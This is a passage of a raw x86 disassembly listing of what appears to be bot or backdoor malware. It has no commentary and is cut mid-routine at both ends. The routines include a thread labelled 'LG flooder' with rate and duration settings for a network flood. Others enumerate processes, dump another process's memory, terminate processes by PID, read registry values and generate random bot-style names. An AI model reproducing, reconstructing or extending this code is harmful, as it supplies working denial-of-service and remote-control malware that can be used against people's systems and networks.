cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: sub_4167F1+D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E2B0 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2AC, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A0, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A4, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A8, eax cmp dword_41E2AC, 0 jz short locret_40603F cmp dword_41E2A0, 0 jz short locret_40603F cmp dword_41E2A4, 0 jz short locret_40603F cmp dword_41E2A8, 0 jz short locret_40603F mov byte_41E2CC, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E2B0 call sub_409C6C pop ecx movzx eax, byte_41E2CC test eax, eax jnz short loc_406074 push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E2AC test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E2A0 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E2A8 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE30 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E2A4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E2B0 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 ; TerminateProcess push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; 